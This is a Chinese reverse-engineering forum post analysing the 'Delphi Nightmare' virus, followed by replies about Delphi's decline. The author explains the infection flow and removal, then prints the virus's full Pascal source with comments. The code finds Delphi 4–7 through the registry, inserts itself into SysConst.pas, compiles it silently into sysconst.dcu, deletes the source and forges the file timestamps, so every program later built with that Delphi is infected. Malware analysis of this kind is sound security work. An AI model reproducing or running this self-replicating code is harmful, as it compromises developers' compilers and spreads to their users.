吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5985|回复: 18
收起左侧

[PC样本分析] Delphi梦魇病毒完整源码分析

  [复制链接]
lrtlrt 发表于 2021-8-16 16:45
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 lrtlrt 于 2021-8-16 23:06 编辑

前几天在看老文件时,突然报病毒,查了一下是delphi梦魇,这个病毒很特殊,我以前研究的时候知道有一种病毒是源码病毒,他会把代码插入带目标文件中,这是我看到的唯一一个源码病毒,以前一直没有太在意,今天突然想研究一下,就在网上找源码,但是网上都没有完整的病毒源码,于是我就从感染的病毒文件中提取了源码进行分析。

先说说病毒感染的流程:
1、从注册表判断Delphi版本是否为4.0~7.0,如果是就传染,否则不传染
2、读出sysconst.pas文件感染病毒,然后写入到LIB目录下
3、备份sysconst.dcu文件
4、调用dcc32编译sysconst.pas文件
5、编译完成后删除sysconst.pas文件
6、修改sysconst.dcu的时间为原始文件的时间
7、病毒感染完毕

清除病毒:
1、到Delphi的LIB目录下,找到sysconst.bak,将其改为sysconst.dcu即可
2、如果没有找到bak文件,从相关版本的安装盘中找sysconst.dcu覆盖同名文件即可

下面是病毒的完整代码,里面添加了注释:
[Pascal] 纯文本查看 复制代码
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
var sc:array[1..24] of string=(
  'uses windows; var sc:array[1..24] of string=(',
  'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
  '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
  'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
  'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
  '(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
  '(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
  'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',
  'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
  ',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
  'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
  ')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
  'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
  'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
  'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
  '0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
  'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
  '@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',
  'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
  'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
  'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
  '1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
  '$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
  'begin st; end.');

//此函数是将字符串中的$替换为单引号
//由于单引号是Delphi中的关键字符,因此sc数组中代码
//里面包含的单引号都用$来表示,当恢复代码时要还原
function x(s:string):string;
var
  i:integer;
begin
  for i:=1 to length(s) do
    if s=#36 then s:=#39;
  result:=s;
end;

//这个函数将病毒插入sysconst.pas文件中
//然后再编译成dcu文件
//之后就将pas文件删除
//参数:
//s:pas文件
//d:dcu文件
//e:dcc32文件
procedure re(s,d,e:string);
var
  f1,f2:textfile;
  h:cardinal;
  f:STARTUPINFO;
  p:PROCESS_INFORMATION;
  b:boolean;
  t1,t2,t3:FILETIME;
begin
  //判断是否感染过病毒,避免重复感染
  h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if h<>DWORD(-1) then
  begin
    CloseHandle(h);
    exit;
  end;

  //打开sysconst.pas文件
  {'I-}assignfile(f1,s);
  reset(f1);
  if ioresult<>0 then
    exit;

  //打开要写的病毒pas文件,这个文件保存在LIB目录下
  assignfile(f2,d+'pas');
  rewrite(f2);
  if ioresult<>0 then
  begin
    closefile(f1); 
    exit;
  end;
  while not eof(f1) do
  begin
    readln(f1,s);
    writeln(f2,s);
    if pos('implementation',s)<>0 then //将病毒代码插入到这个关键字的后面
    break;
  end;

  //插入sc数组到pas文件中
  for h:= 1 to 1 do
    writeln(f2,sc[h]);
  for h:= 1 to 23 do
    writeln(f2,''''+sc[h],''',');
  writeln(f2,''''+sc[24]+''');');

  //插入病毒代码到pas文件中,替换S字符并写入
  for h:= 2 to 24 do
    writeln(f2,x(sc[h]));

  closefile(f1);
  closefile(f2);

  {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak')); //备份dcu原始文件
  fillchar(f,sizeof(f),0);
  f.cb := sizeof(f);
  f.dwFlags := STARTF_USESHOWWINDOW;
  f.wShowWindow := SW_HIDE;  //不显示编译窗口
  b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
  if b then
    WaitForSingleObject(p.hProcess,INFINITE); //等待直到编译结束

  MoveFile(pchar(d+'bak'),pchar(d+'dcu')); //防止因失败而丢失dcu文件
  DeleteFile(pchar(d+'pas')); //删除病毒源文件
  h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if h=DWORD(-1) then
   exit;

  //将病毒文件的时间改为原文件的时间 
  GetFileTime(h,@t1,@t2,@t3);
  CloseHandle(h);
  h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
  if h=DWORD(-1) then
   exit;

  SetFileTime(h,@t1,@t2,@t3);
  CloseHandle(h);
end;

procedure st;
var
  k:HKEY;
  c:array [1..255] of char;
  i:cardinal;
  r:string;
  v:char;
begin
  for v:='4' to '7' do //判断Delphi版本是不是4.0~7.0,不是的话就不感染,否则感染
  //从注册表读取Delphi的目录信息
  if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
  begin
    i:=255;
    if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
    begin
      r:='';
      i:=1;
      while c<>#0 do
      begin
        r:=r+c;
        inc(i);
      end;
      re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" '); //感染病毒
    end;
    RegCloseKey(k);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  st;
end;

end.


看懂之前不要编译执行,以免被感染。

免费评分

参与人数 5威望 +1 吾爱币 +25 热心值 +5 收起 理由
FleTime + 3 + 1 热心回复!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
lllliiii + 1 + 1 我很赞同!
CHINAWSF + 1 + 1 我很赞同!
luoye3644 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

sail2000 发表于 2021-8-18 09:09
国内大多在追求web吃快餐,这个刚好是delphi最弱项。
同时看看,国内的win32桌面程序没什么公司做,看看共享软件已经死透就知道。剩余的桌面软件大多是兴趣+免费。
 楼主| lrtlrt 发表于 2021-8-18 11:59
sail2000 发表于 2021-8-18 09:09
国内大多在追求web吃快餐,这个刚好是delphi最弱项。
同时看看,国内的win32桌面程序没什么公司做,看看共 ...

是这样,现在软件公司基本上都是互联网公司,做桌面软件的越来越少了,大部分都是做手机和服务器开发了,连微信这样的软件都不愿意做pc端的程序了,越来越多的软件只有手机端没有pc端了,连web端也没有,应该是只有一个端方便维护,投入也少。
咔c君 发表于 2021-8-16 19:34
erui 发表于 2021-8-16 19:36
楼主真厉害,这个病毒样本源代码分析的比较清晰明了。
swjia 发表于 2021-8-16 21:44
我之前的delphi7就感染过这病毒,当时觉得莫名其妙的,老是被杀毒软件杀了,新编译的也会被杀,害得我不小心把一些源码搞丢了。后来在网上一搜,靠,原来有这个病毒。
skypaladin 发表于 2021-8-16 22:18
我只想说好久没看到delphi的帖子了,我还以为已经死透了。
飞天凤凰 发表于 2021-8-17 17:53
搞Delphi好多都转C#了,比如我
 楼主| lrtlrt 发表于 2021-8-17 18:52
飞天凤凰 发表于 2021-8-17 17:53
搞Delphi好多都转C#了,比如我

Delphi转C#其实是最简单的,因为C#的设计师就是Delphi的设计师,可惜了宝兰公司的这些天才,都被别的的公司挖走了。
ggyynxj 发表于 2021-8-17 18:54
戴妃还有一定的生存空间
evill 发表于 2021-8-17 20:54
skypaladin 发表于 2021-8-16 22:18
我只想说好久没看到delphi的帖子了,我还以为已经死透了。

国内用的人少,国外用的貌似还挺多
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-28 03:23

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表